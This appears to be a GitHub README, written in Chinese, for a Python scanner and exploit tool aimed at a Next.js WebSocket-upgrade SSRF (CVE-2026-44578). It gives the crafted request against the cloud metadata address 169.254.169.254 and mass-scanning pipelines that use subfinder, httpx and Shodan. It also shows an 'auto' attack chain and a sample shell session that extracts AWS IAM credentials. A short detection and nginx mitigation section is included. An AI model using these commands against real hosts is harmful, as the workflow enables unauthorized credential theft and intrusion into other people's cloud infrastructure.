BS2010-AirborneTroops/NEXT-SSRF

GitHub: BS2010-AirborneTroops/NEXT-SSRF

NEXT-SSRF是一款针对Next.js框架SSRF漏洞的扫描和利用工具。

Stars: 0 | Forks: 0

# NEXT-SSRF SSRF — CVE-2026-44578 扫描器与利用工具 ║ ║ Next.js WebSocket 升级处理器 SSRF
``` ╔═══════════════════════════════════════════════════╗ ║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║ ║ Next.js WebSocket Upgrade Handler SSRF ║ ║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║ ║ @boneksiber/cybergang persebaya — Bug Bounty Tooling ║ ╚═══════════════════════════════════════════════════╝ ``` ![Python](https://img.shields.io/badge/python-3.10+-blue?style=flat-square&logo=python) ![CVE](https://img.shields.io/badge/CVE-2026--44578-red?style=flat-square) ![CVSS](https://img.shields.io/badge/CVSS-8.6_High-orange?style=flat-square) ![License](https://img.shields.io/badge/license-MIT-green?style=flat-square) ![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20Windows%20%7C%20Android-lightgrey?style=flat-square) **CVE-2026-44578** — 通过 Next.js WebSocket 升级处理器实现的 Server-Side Request Forgery [概述](#overview) · [安装](#install) · [使用](#usage) · [管道](#pipeline) · [Shodan](#shodan) · [交互式](#interactive-shell) · [免责声明](#disclaimer)
## 概述 2026年5月11日,Vercel修复了**CVE-2026-44578**(CVSS 8.6):Next.js的WebSocket升级处理器中存在未经身份验证的SSRF漏洞,影响从**13.4.13**版本开始的所有自托管部署。 ### 机制 ``` GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI Host: vulnerable-nextjs.com Connection: Upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== ``` `http://`中的`//`触发了`normalizeRepeatedSlashes`的早期退出,设置`statusCode: 308`和`finished: true`。有漏洞的升级处理器**忽略这两个标志**,当`parsedUrl.protocol`为真时调用`proxyRequest`——将请求代理到攻击者控制的**端口80**的主机。 ``` // router-server.ts (vulnerable) - if (parsedUrl.protocol) { - return await proxyRequest(req, socket, parsedUrl, head) + if (finished && parsedUrl.protocol) { + if (!statusCode) { + return await proxyRequest(req, socket, parsedUrl, head) ``` ### 受影响版本 | 产品 | 受影响 | 修复 | |-----------------|--------------------|----------| | Next.js | 13.4.13 – 15.5.15 | 15.5.16 | | Next.js | 16.0.0 – 16.2.4 | 16.2.5 | | Vercel-hosted | ✅ 未受影响 | N/A | ### 限制 - **仅支持GET**(不支持POST/PUT) - **仅支持端口80**(URL规范化会去除显式端口) - AWS **IMDSv2** 无法利用(需要PUT令牌) - GCP元数据拒绝`Upgrade: websocket`请求,返回400状态码 - 反向代理(nginx/caddy/HAProxy)阻止绝对形式的URI ## 安装 ``` git clone https://github.com/BS2010-AirborneTroops/NEXT-SSRF cd NEXT-SSRF python3 cvesiber2026.py -t https://target.com ``` ## 使用 ### 单个目标扫描 ``` python3 cvesiber2026.py -t https://target.com ``` ### 云特定目标定位 ``` # AWS 元数据仅 python3 cvesiber2026.py -t https://target.com --cloud aws # 自定义内部目标 python3 cvesiber2026.py -t https://target.com \ --ssrf-host http://internal-api --path /admin # 深度扫描(+内部服务) python3 cvesiber2026.py -t https://target.com --cloud aws --deep ``` ### 批量扫描(管道) ``` # subfinder + httpx + nextssrf subfinder -d target.com | httpx -silent | \ python3 cvesiber2026.py --pipe --threads 20 --cloud aws -o results.jsonl # 文件输入 python3 cvesiber2026.py -f targets.txt --threads 15 -o results.json # 强制扫描(即使版本未知) python3 cvesiber2026.py -t https://target.com --force ``` ### 退出代码 | 代码 | 含义 | |------|------------------------| | `0` | 未受影响 / 清洁 | | `1` | 受影响(无利用)| | `2` | SSRF 已确认 | ## 交互式 Shell 具有自动云检测和 IAM 凭据提取的高级利用 Shell: ``` python3 cvesiber2026.py -t https://target.com ``` ``` ╔═════════════════════════════════════════╗ ║ NextSSRF v2 — Interactive Exploit Shell ║ ║ Target : ec2-x-x-x-x.compute.amazonaws.com ║ ║ CVE : CVE-2026-44578 | Status: Connected ║ ╚═════════════════════════════════════════╝ nextssrf(ec2-x...)> cloud [>] Detecting cloud provider... ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname'] → Run 'aws' for full credential extraction nextssrf(ec2-x...)> aws [1/3] Instance Information [200] Hostname : ip-172-31-47-134.ec2.internal [200] AZ : us-east-1d [200] Account ID : {"AccountId": "370741706736"} [2/3] IAM Role Discovery ✓ IAM Role found: my-ec2-role [3/3] Credential Extraction ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 🎯 AWS CREDENTIALS EXFILTRATED! ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Expiration : 2026-05-14T22:32:22Z ``` ### Shell 命令 | 命令 | 描述 | |----------------|------------------------------------------| | `cloud` | 自动检测云(AWS/Azure/GCP/DO/OCI) | | `aws` | 完整 AWS IAM 凭据链 | | `azure` | Azure 管理身份令牌 | | `scan` | 云检测 + 自动利用 | | `url `| 自定义 SSRF 请求 | | `get ` | 通过索引 AWS IMDS 目标 | | `list` | 显示所有 IMDS 端点 | | `history` | 请求历史 | | `save` | 将会话导出为 JSON | | `quit` | 退出 | ### 自动模式 ``` # 检测云 + 自动运行完整攻击链 python3 cvesiber2026.py -t https://target.com --auto ``` ## 管道示例 ``` # 完整侦察→漏洞利用管道 subfinder -d target.com \ | httpx -silent -server \ | grep -i "next" \ | python3 cvesiber2026.py --pipe --cloud aws --deep -o findings.jsonl # Shodan 大规模扫描→在已确认的主机上交互式 python3 shodan_nextjs.py --key KEY --org "TargetCorp" \ | python3 cvesiber2026.py --pipe --cloud aws -o hits.jsonl # 检查特定版本范围 cat hosts.txt \ | python3 cvesiber2026.py --pipe --force --cloud aws \ | jq '.[] | select(.ssrf_hits | length > 0)' ``` ## 检测(蓝队) 日志中的利用迹象: ``` # Next.js 进程日志 Failed to proxy http:/ ← single slash = normalization fingerprint # 访问日志(绝对形式 URI + 升级头) GET http://169.254.169.254/... HTTP/1.1 Connection: Upgrade Upgrade: websocket ``` ### 缓解措施(如果无法打补丁) ``` # Nginx:拒绝绝对形式请求 URI if ($request_uri ~* "^https?://") { return 400; } ```
标签:CVE, CVE-2026-44578, CVSS, Python, SSRF, Upgrade Handler, WebSocket, XML 请求, 依赖分析, 安全公告, 安全响应, 安全工具开发, 安全开发, 安全报告, 安全测试, 安全漏洞, 安全社区, 平台兼容性, 攻击性安全, 数字签名, 无后门, 服务器端请求伪造, 红队平台, 许可证, 逆向工具